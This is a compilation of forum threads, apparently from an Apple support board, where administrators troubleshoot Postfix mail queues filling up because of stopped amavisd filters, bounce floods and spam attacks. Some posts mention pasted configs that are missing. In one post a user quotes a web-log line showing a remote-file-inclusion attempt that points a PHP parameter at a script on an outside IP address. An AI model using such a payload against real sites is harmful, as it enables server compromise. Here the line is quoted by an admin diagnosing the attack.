Mail queue filling up - Delivery Temporarily Suspended Connection Refused
About 2 hours ago we stopped getting any email from our server. The mail queue is filling up. If I click on one of the messages in queue, it gives me a message of "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: connection refused".
What happened????
Thanks,
Robert
My configuration was running fine for months but suddenly every night amavisd stops running (I suppose after mailbfr ran). I have to launch amavisd manually with +sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist+ every day.
Maybe something is wrong with my org.amavis.amavisd.plist? Here is it:

Where to go from here?you can clear your queue by temporarily disabling the content filter.
once you catch your breath, take a look at amavisd.log when you issue:
sudo launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist
The problem may be revealed down to the line#.
-or-
revert to a previous version of amavisd.conf

Mail queue filling up, delivery real slow
mail server is: 10.4.2 running on a dual 2 GHz Xserve 1 gig RAM
2 hard drives. 1 boot, 1 mail store
my mail queue is filling up with messages that can't be delivered. bad address usually. not sure why they make into the queue in the first place.
The queue reaches as high a 7000+ messages.
This is really killing my server. Can anyone shed some light??

Sorry for the long postconf output.
I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
Any other ideas are welcome!
Thanks,
Josh

"status=deferred (delivery temporarily suspended"
I have an Intel Xserve running 10.4.10
Some months ago I upgraded clamav, amavisd-new, spamassassin and squirrel mail using the articles from Alex at http://osx.topicdesk.com/content/category/4/18/62/
(Thanks Alex)
All has been working well.
On Friday night my mail stopped delivering mail to internal recipients with the following in the logs:
status=deferred (delivery temporarily suspended)
All mail was sitting in the queue
I tried a restart on amavisd, but a reboot of the system got it going and retrying all the mail in queue finally dribbled out to end users.
I have come in this morning with the same scenario
Feb 12 08:48:37 fileserver postfix/qmgr[28609]: 0A80620B6E96: to=<[email protected]>, relay=none, delay=-3867, status=deferred (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused)
I was getting moaned at so have done a reboot, which again has cured the issue.
If anyone can give any pointers as what to look for, or what I can do to stop it occurring, logs appear to show that one minute a mail was being handled correctly, the next it isn't.

I am also not getting my confirmation mails from sa-learn each evening at all.feedback from yesterday.
I use an application called Carbon Copy Cloner that each evening clones my mirrord pair to a "spare".
This was showing some errors during the clone.
I removed the application and schedules. Re-installed and re-configured.
Last night the Clone completed successfully "AND", more importantly, mail did not stop delivering.
I am not saying that was the answer yet, but I have my fingers crossed. -

Sorry should have said that at this point after tryiing to reinstall amavis-new I went back to previous saved versions of amavisd and amavisd.conf.
Now I am getting status=deferred (delivery temporarily suspended) on all mails
I have gone through the whole upgrade of amavis-new once again
I now have mail being sent and received, except for PDF attachments where the logs show

I seem to be stuck between the old versions were I cannot send mail and the new where I can but with no attachments. -
Hi All,
Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
here is my config file.

MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6)Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
When I look at the mail log for one the messages with the ID of 39E33163839, I see:

The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
Am I correct that this is a code injection?
I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
Thanks

Outgoing mail queue fills with spam
I remember reading about how to fix this before - but cannot find the details now.
I have a server that is trying to send mail to non existant domains or non existant e-mail addressed. the mail is not originating from clients.
Typical entry in the mail queue is
Message ID: 60D7987570
Date: Thu Aug 17 06:18:36
Size: 34446
Sender: MAILER-DAEMON
Recipient(s) & Status:
[email protected]:
host mail.cncnet.net[210.53.130.195] said: 450 4.1.1 <[email protected]>: Recipient address rejected: User unknown in local recipient table (in reply to RCPT TO command
how can I sent the mail server up to just ditch this stuff in the first place.
TimHere is an extract from the logs. I think I understand this now and it works as it should - but perhaps you could confirm.
This message is clearly not stuck in the outgoing queue. From what I can see mail is received from a backup mail relay for a non existent user on this server. When we try to reject it back to sender, if the sender rejects with 550 we bin it.
I guess the problem is what to do when the receiving mail server fails to respond? I think eventually it times out and we delete the message. Is that correct?

Mail queue filling with errors, is something broken?
Back in SL, I was able to just look at the queue in server app and if it ever had anything in it, I knew it was a problem and I usually could deal with it.
But in ML, you have to issue "mailq" in terminal to see it. So I did that a lot when first set up, and everything seemed fine.
I just checked it recently and found hundreds of messages like this:

I delete them and it fills up again.
Can anyone please tell me what's happening here and how to fix it?
Thank a bunch,

Thanks Linc! -
Came into the office this morning and everyone is complaining they didn't get any email over the weekend. I log into SA to notice over 300 emails stuck in the queue. I found a couple threads regarding this and this one particularly is almost my exact situation:
http://discussions.apple.com/thread.jspa?messageID=1891076&
With the exception of upgrading the OS. I did actually have to add a virtual IP address to the same NIC that has the IP for our email. I did this because I was having SSL issues:
http://discussions.apple.com/thread.jspa?threadID=612479&tstart=0
Since I wasn't adding a new IP and not so much changing an IP, I didn't use the "changeip" command. Following some of the instructions from the above mentioned thread, I ran "sudo postsuper -r ALL" and this didn't seem to help at all. I then issued a "/sbin/reboot" to restart the email server and now it is in the process of sending all the email that are in the queue. Send and receive email is working properly.
So why the post since I have solved my own problem?
Because it makes me nervous that after adding an additional real-world IP to the extra NIC installed on the server, that it has been behaving this.
So... any thoughts or suggestions on how to prevent this in the future or how to fix this? Thanks.Ahhh! Yes, I did create an actual user for postmaster
and am using it so I could have an additional email
account in Mail.app to monitor email that was
improperly addressed. Usually I find about 1-2
emails a week where someone improperly mis-spelled
someones address and therefore I send it on to the
right place.
Should I delete the "postmaster" account in WGM? But
then how would I be able to check it's email?
Have a look in /etc/postfix/alias. The alias name is on the left (postmaster) and the name of the mail account used for it is on the right. Replace with your own short name or another (I usually set up a separate mailadmin user). But I don't really think that is causing your problem - its the actual receiving undeliverable mail which is generating the bounces back out.
Also in /etc/postfix/main.cf what's the difference
between "myhostname" and "mydomain". I have them
both configured the same with "mail.domain.com".
Should one be "domain.com" and the other
"mail.domain.com"?
myhostname is normally your hostname ( eg mail.domain.com) - what you want your server to use in its 'helo' command. Ideally should be the same as your MX record (and PTR record for your IP). Ideally they should all match but sometimes difficult.
mydomain - eg domain.com
Note that you will have to put the domain into the Local Hosts Alias pane (if not already there) if you previously only had it as your myhostname.

Mail Queue filling up with DSN failures
So my Exchange 2010 queue viewer keeps filling up with failed DSNs. There is no sender (except for [email protected]). I have done some searching and the first thing that everyone usually mentions as a cause is SPAM. It's not SPAM. I know this
for two reasons:
1. We have a barracuda SPAM/AV firewall that all SMTP email goes through. None of these emails are there
2. We can see the subject of the email. The subject is a cronjob email from our linux servers. "Undeliverable Cron <cronuser@>..." But there is no source email to be found. Our linux server is not sending any.
Any idea what could be causing this?If they're DSNs, they could be sent from anywhere with a spoofed reply address.

Delivery temporarly suspended : [127.0.0.1]: connection refused
Hello everyone,
I have some troubles getting email services up on my server.
The plan is to run an SMTP server, POP and IMAP.
So far, POP and IMAP seem to be working, as I can log in with different users.
But there are no mail messages there.
When I check my mail queue, I find many messages.
Mostly from [email protected] or [email protected]
when I check the message details I get this :
Message ID: 5654199DFB
Date: Tue Feb 14 08:30:41
Size: 350
Sender: [email protected]
Recipient(s) & Status:
[email protected]:
delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]:
Connection refused
When I check my smtp log I get this :

All of a sudden, our Mac OS X Server 10.4.2. has stopped sending (both externally and internally) as well and delivering mail.
The mail is apparently in the queue, as reported by the Server Admin tool, so incoming mail is there as well as outgoing.
Here is a snippet of mail.log that is representative of the issue... any thoughts or suggestions?

I have checked the .conf files that referenced the previous mail database to make sure they changed, and they had indeed changed to point to the new files. but so far... nothing.absolutely...

For some reason, I am unable to send or receive messages. The senders and receivers get no error messages, but the messages get stuck in the mail queue with the error "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused"
It has worked perfectly in the past. I recently began using DNS service (I wasn't previously), but now it won't work with the DNS on or off.
Correction: When I turn DNS off, I get this error: The error that the other server returned was: 550 550 #5.1.0 Address rejected [email protected] (state 14).
Message was edited by: vidgpersonrswThe 'delivery temporarily suspended' message is coming from postfix trying to pass the message through some kind of filter process that isn't running.
For example, the anti-virus scanner runs in this manner - messages come into the server, postfix passes the message to the scanner via a custom port on 127.0.0.1 and the scanner passes it back to postfix.
You should check that all your mail components are working correctly. -
Can't get mail to work. 127.0.0.1 refused
The server I had for mail died, so I am trying to get my companies mail over to the server we use for hosting our web sites. At one point before I worked here this server hosted the mail as well as the sites, so I thought this would not be such a daunting task. The overview in SA shows my SMTP, POP is Enabled, but I get error "connect to 127.0.0.1[127.0.0.1]: Connection refused". I can't figure out the problem.
